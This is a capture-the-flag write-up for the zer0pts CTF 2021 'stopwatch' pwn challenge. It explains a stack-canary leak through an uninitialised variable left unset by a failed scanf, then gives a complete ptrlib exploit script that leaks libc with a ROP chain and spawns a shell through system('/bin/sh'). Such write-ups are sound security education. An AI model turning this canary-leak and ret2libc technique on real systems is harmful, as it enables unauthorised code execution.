# stopwatch - zer0pts CTF 2021
###### tags: `zer0pts CTF 2021` `pwn`
## Challenge Overview
An x64 ELF and its source code are provided.
The vulnerability is obviously stack overflow in multiple places:
```c
int ask_again(void) {
char buf[0x10];
printf("Play again? (Y/n) ");
scanf("%s", buf);
readuntil('\n');
if (buf[0] == 'n' || buf[0] == 'N')
return 0;
else
return 1;
}
...
void ask_name(void) {
char _name[0x80];
printf("What is your name?\n> ");
scanf("%s", _name);
strcpy(name, _name);
}
```
However, SSP is enabled.
```
$ checksec -f chall
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 80 Symbols Yes 0 4 chall
```
## Solution
We have to leak the stack canary somehow.
Let's focus on the following piece of code.
```c
void ask_time(double *t) {
printf("Time[sec]: ");
scanf("%lf", t); // [2]
readuntil('\n');
}
double play_game(void) {
struct timeval start, end;
double delta, goal, diff; // [1]
ask_time(&goal);
printf("Stop the timer as close to %lf seconds as possible!\n", goal);
```
The variable `goal` is not initialized at [1] but the input is given at [2]. However, the program doesn't check the return value of `scanf`. If we feed an invalid input, `scanf` does not update the value of `goal`.
So, if the canary leftover happens to come to the address of `goal`, we can leak the stack canary.
After that is simple: just abuse the stack overflow to get the shell.
# Exploit
```python=
from ptrlib import *
libc = ELF("../distfiles/libc.so.6")
elf = ELF("../distfiles/chall")
rop_ret = 0x00400e94
rop_pop_rdi = 0x00400e93
with Socket("pwn.ctf.zer0pts.com", 9002) as sock:
sock.sendlineafter("> ", "taro")
sock.sendlineafter("> ", "16")
# leak canary
sock.sendlineafter(": ", "+")
r = sock.recvregex("to (\-*\d+\.\d+) seconds")
sock.send("\n\n")
if float(r[0]) == 0.0:
logger.warn("Bad luck!")
exit(1)
canary = u64(p64(float(r[0])))
logger.info("canary = " + hex(canary))
# leak libc
payload = b'A' * 0x18
payload += p64(canary)
payload += p64(0xdeadbeef)
payload += p64(rop_pop_rdi)
payload += p64(0x601ff0)
payload += p64(elf.plt("puts"))
payload += p64(elf.symbol("_start"))
assert b'\n' not in payload
assert b' ' not in payload
sock.sendlineafter("(Y/n) ", payload)
libc_base = u64(sock.recvline()) - libc.symbol("__libc_start_main")
logger.info("libc = " + hex(libc_base))
# get the shell
payload = b'A' * 0x88
payload += p64(canary)
payload += p64(0xdeadbeef)
payload += p64(rop_ret)
payload += p64(rop_pop_rdi)
payload += p64(libc_base + next(libc.find('/bin/sh')))
payload += p64(libc_base + libc.symbol('system'))
sock.sendlineafter("> ", payload)
sock.interactive()
```